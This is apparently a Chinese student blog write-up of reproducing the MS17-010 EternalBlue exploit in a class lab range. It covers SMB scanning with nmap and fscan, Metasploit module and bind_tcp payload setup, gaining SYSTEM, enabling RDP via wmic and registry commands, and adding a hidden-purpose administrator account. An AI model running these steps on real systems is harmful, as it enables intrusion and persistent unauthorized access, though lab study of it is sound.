MS17-010(Eternal blue永恒之蓝)漏洞复现

MS17-010(Eternal blue永恒之蓝)

漏洞背景

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,被用于攻击微软Windows操作系统中的漏洞。这个漏洞利用工具最初泄露于公众的是在2017年4月,因此得名“永恒之蓝”

具体来说,永恒之蓝利用了微软Windows操作系统中的一个名为MS17-010的漏洞,该漏洞存在于微软的SMBv1协议实现中。攻击者可以利用这个漏洞来远程执行恶意代码,甚至控制受感染的计算机,而无需用户交互

攻击者可以利用永恒之蓝进行各种恶意活动,包括勒索软件攻击、间谍活动、信息窃取等。该漏洞被广泛利用,导致了全球范围内的许多严重的网络安全事件,包括2017年的“想象力病毒”(WannaCry)攻击事件

微软在发现漏洞后发布了补丁来修复这个问题,并呼吁用户及时更新其系统以保护自己免受潜在的攻击。然而,由于许多用户未能及时更新其系统,永恒之蓝仍然是一个潜在的威胁,特别是对于那些运行旧版本Windows系统的用户。因此,及时更新系统补丁并采取其他安全措施仍然是保护自己免受此类攻击的最佳做法之一

利用过程

前期探测

本次的漏洞环境是上课老师提供的靶场,要求我们去扫描C段,查找存活的IP并尝试利用其存在的相关漏洞

我最初尝试使用goby进行扫描,也是最早通过它报警漏洞发现192.168.12.8的445开放,且可能存在MS17-010,之后使用nmap和fscan以及nessus扫描验证,确认192.168.12.8以及其他数十个IP存在MS17-010漏洞

nmap批量扫描:

1
nmap -p445 --script smb-vuln-ms17-010 192.168.12.0/24

fscan定点扫描:

1
./fscan -h 192.168.12.8

漏洞利用

打开msfconsole终端,搜索MS17-010的相关漏洞

1
search ms17-010

在搜索到的相关模块中,选择exploit/windows/smb/ms17_010_eternalblue

1
2
3
use exploit/windows/smb/ms17_010_eternalblue
#或者
use 0

设置Payload

1
set payload windows/x64/meterpreter/bind_tcp

注意!

网上大多数教程中,要求设置的Payload为:set payload windows/meterpreter/reverse_tcp 但在我的实验环境中,使用此Payload并未成功,具体分析为:

reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经反向连接

bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入

基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST

查看需要填写的相关参数、载荷等

1
show options

设置目标被攻击主机的IP

1
set RHOSTS 被攻击机IP

设置监听主机IP

1
set LHOST 本机IP

设置监听端口

1
set LPORT 本机端口

开始攻击

1
2
3
run
#或者
exploit

注意!

开始攻击前,请确保本机的相关防护程序关闭,否则它们会变成内鬼

ms17_010_1

当出现WIN则表面漏洞利用成功

ms17_010_2

这边我尝试getuid查询用户,发现拿到的是系统权限

shell后,查看ipconfig

ms17_010_3

ms17_010_4

使用screenshot还可以截取被攻击机器当前的屏幕截图

ms17_010_5

利用拿到的shell查看被攻击机器所开放的端口

1
netstat -an

发现3389端口没有开放,手动给它打开

1
2
3
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

显示successful即为成功

再次确认3389端口是否开启

1
netstat -an|find "3389"

显示LISTENING即为监听中

注意!

远程桌面的默认端口是3389,为了防止管理员更改了远程端口给我们连接带来意想不到的情况,需要通过查看注册表键值确认远程桌面的端口是否为3389

1
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

若出现为0xd3d为正常,0xd3d为16进制的3389

添加一个新的用户

1
net user 用户名 密码 /add

将新建的用户添加进管理员组

1
net localgroup administrators 用户名 /add

成功连接远程桌面


MS17-010(Eternal blue永恒之蓝)漏洞复现
http://example.com/2024/05/29/ms17-010/
作者
ZERO
发布于
2024年5月29日
许可协议